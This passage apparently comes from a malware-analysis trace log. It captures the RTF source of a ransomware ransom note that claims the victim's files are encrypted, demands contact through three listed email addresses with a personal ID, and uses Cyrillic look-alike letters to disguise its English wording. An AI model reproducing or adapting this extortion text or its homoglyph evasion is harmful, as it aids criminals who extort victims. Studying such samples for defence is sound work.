d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s 